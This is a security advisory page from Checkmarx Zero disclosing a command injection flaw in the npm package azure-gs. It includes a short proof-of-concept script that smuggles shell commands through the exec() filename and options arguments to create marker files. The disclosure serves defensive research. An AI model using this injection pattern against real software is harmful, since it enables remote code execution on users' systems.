---
title: "CX-2021-4806"
date: "2021-04-27T07:00:00+00:00"
url: "https://checkmarx.com/zero/vulnerabilities/cx-2021-4806/"
---

# CX-2021-4806

[Disclosed vulnerabilities](https://checkmarx.com/zero/vulnerabilities/)

No CVE assigned  **Published:** Apr 27, 2021

5.5 Medium Severity npm RCE

AS André Sá  Reported by Checkmarx Zero

Details Overview

## Summary

A Command Injection vulnerability was discovered in  
[azure-gs](https://www.npmjs.com/package/azure-gs) through the  
`exec()` function.

## Product

All currently published azure-gs versions.

## Impact

This issue may lead to remote code execution if a user of the library calls the  
vulnerable function.

## Steps to reproduce

```sh
$ rm -f *_pwn
$ ls -1
node_modules
package-lock.json
package.json
poc.js
$ cat poc.js
const GSClass = require('azure-gs')
var x = new GSClass();
x.exec("; echo filename > filename_pwn", [], () => {});
x.exec("hello.pdf", ["< /dev/null; echo options > options_pwn;", "echo"], () => {});
$ node poc.js
$ ls -1
filename_pwn
node_modules
options_pwn
package-lock.json
package.json
poc.js
$ cat *_pwn
filename
options
```

## Remediation

There are currently no fixed versions released. As a workaround, avoid passing  
untrusted input into the vulnerable function when using the library.

## Credit

This issue was discovered and reported by Checkmarx SCA Security Researcher  
[André Sá](https://www.linkedin.com/in/andre-m-sa).

## Resources

1. [Vulnerable code](https://github.com/Aserus/node-azure-gs/blob/159c10c04f25dece3d9a94009128f749eb835306/index.js#L36)

0  Medium Severity CVSS v3.1 Score

   5.5

CVSS v3.1 Vectors- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low
- User Interaction: Required
- Scope: Unchanged
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low

Advisory Timeline1. Discovered Jan 27, 2021 Vulnerability found
2. Disclosed Jan 27, 2021 Notified the azure-gs project's maintainers

## Explore more findings

[27 Nov 2025 CVE-2025-34281  Stored Cross-Site Scripting (XSS) in ThingsBoard   6.2  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-34281/) [17 Jan 2025 CVE-2025-0825  HTTP Response Splitting in cpp-httplib   6.9  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-0825/) [17 Jun 2025 CVE-2025-6050  Stored Cross-Site Scripting (XSS) in Mezzanine CMS Admin Interface   4.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2025-6050/) [12 Dec 2024 CVE-2024-8374  Code Injection in UltiMaker Cura   7.8  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-8374/) [14 Nov 2024 CVE-2024-52526  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-52526/) [14 Nov 2024 CVE-2024-51497  Stored Cross-site Scripting in @LibreNMS/LibreNMS Custom OID Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51497/) [14 Nov 2024 CVE-2024-51496  Reflected Cross-site Scripting in @LibreNMS/LibreNMS /wireless and /health endpoints   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51496/) [  14 Nov 2024 CVE-2024-51495  Stored Cross-site Scripting in @LibreNMS/LibreNMS Device Overview `overwrite\_ip` Field   7.5  Visit the page ](https://checkmarx.com/zero/vulnerabilities/cve-2024-51495/) [14 Nov 2024 CVE-2024-51494  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-51494/) [14 Nov 2024 CVE-2024-50352  Stored Cross-site Scripting in @LibreNMS/LibreNMS Services Section of Device Overview   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50352/) [14 Nov 2024 CVE-2024-50351  Reflected Cross-site Scripting in @LibreNMS/LibreNMS Logs Tab   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50351/) [14 Nov 2024 CVE-2024-50350  Stored Cross-site Scripting in @LibreNMS/LibreNMS Port Settings Port Group   7.5  Visit the page](https://checkmarx.com/zero/vulnerabilities/cve-2024-50350/)